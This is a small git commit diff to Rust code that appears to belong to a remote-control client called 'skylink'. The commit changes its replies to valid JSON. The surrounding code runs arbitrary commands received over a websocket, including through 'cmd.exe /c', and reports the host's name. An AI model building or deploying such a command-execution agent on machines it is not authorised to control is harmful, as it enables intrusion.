fix: return valid JSON

This commit is contained in:
Xory 2025-12-18 16:40:53 +02:00
parent 6a90a8fae5
commit 72740c93af
2 changed files with 10 additions and 2 deletions

View file

@ -1,6 +1,7 @@
use futures_util::stream::SplitSink;
use lib::winapi::low_tier_god;
use serde::{Deserialize, Serialize};
use serde_json::json;
use std::sync::Arc;
use tokio::{net::TcpStream, sync::Mutex};
use tokio_tungstenite::tungstenite::protocol::Message;
@ -56,6 +57,7 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
log(LogLevel::Debug, LOG_PATH, format!("Running command {command} with args {h}")).await;
let proc = std::process::Command::new(command).args(args).output()?;
return Ok(String::from_utf8_lossy(&proc.stdout).trim().to_string());
// return Ok(json!({ "stdout": String::from_utf8_lossy(&proc.stdout).trim() }).to_string())
}
Command::URunCMD { command } => {
let formatted_param = format!("cmd.exe /c \"{command}\"");
@ -78,7 +80,12 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
Command::ClientInfo => {
let hostname = sysinfo::System::host_name();
let skylink_ver = "1.0.0";
if let Some(actual_hostname) = hostname { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}")) } else { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"err_none_detected\" }}")) }
if let Some(actual_hostname) = hostname {
// Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}"))
Ok(json!({ "client_version": skylink_ver, "host_name": actual_hostname }).to_string())
} else {
Ok(json!({ "client_version": skylink_ver, "host_name": "err_not_detected" }).to_string())
}
}
Command::Dnx { params } => {
log(LogLevel::Debug, LOG_PATH, format!("s1")).await;